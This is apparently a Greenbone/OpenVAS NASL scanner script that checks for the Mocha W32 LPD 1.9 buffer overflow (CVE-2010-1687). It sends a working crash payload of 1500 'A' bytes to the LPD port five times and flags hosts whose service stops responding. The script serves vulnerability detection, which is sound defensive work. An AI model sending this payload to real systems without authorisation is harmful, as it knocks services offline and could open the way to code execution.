Mocha W32 LPD 1.9 Remote Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100580");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-04-19 20:46:01 +0200 (Mon, 19 Apr 2010)");
  script_cve_id("CVE-2010-1687");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Mocha W32 LPD 1.9 Remote Buffer Overflow Vulnerability");
  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("find_service.nasl", "find_service1.nasl", "find_service2.nasl");
  script_require_ports("Services/lpd", 515);

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39498");

  script_tag(name:"summary", value:"Mocha W32 LPD is prone to a remote buffer-overflow vulnerability
  because the software fails to perform adequate boundary checks on user-supplied data.");

  script_tag(name:"vuldetect", value:"Sends a crafted LPD request and checks if the service is still
  responding.");

  script_tag(name:"impact", value:"Successful exploits may allow attackers to execute arbitrary code
  with the privileges of the user running the affected application. Failed exploit attempts will
  result in a denial-of-service condition.");

  script_tag(name:"affected", value:"This issue affects W32 LPD 1.9. Other versions may be
  vulnerable as well.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

function check_lpd(port) {

  soc = open_priv_sock_tcp(dport:port);
  if(!soc) return FALSE;

  data = string("vt-test", rand());
  req = raw_string(0x04) + data + " " + raw_string(0x0a);
  send(socket:soc, data:req);
  res = recv(socket:soc, length:1024);
  close(soc);

  if(!res || "printer" >!< tolower(res))
    return FALSE;
  else
    return TRUE;
}

port = service_get_port(default:515, proto:"lpd");

if(!check_lpd(port:port))
  exit(0);

exploit  = raw_string("\x05\x64\x65\x66\x61\x75\x6c\x74\x20");
exploit += crap(data:raw_string("\x41"), length:1500);
exploit += raw_string("\x20\x61\x6c\x6c\x0a");

for(i = 0; i < 5; i++) {
  soc = open_sock_tcp(port);
  if(!soc)break;
  send(socket:soc, data:raw_string("\x02"));
  send(socket:soc, data:exploit);
  close(soc);
  sleep(1);
}

if(!check_lpd(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);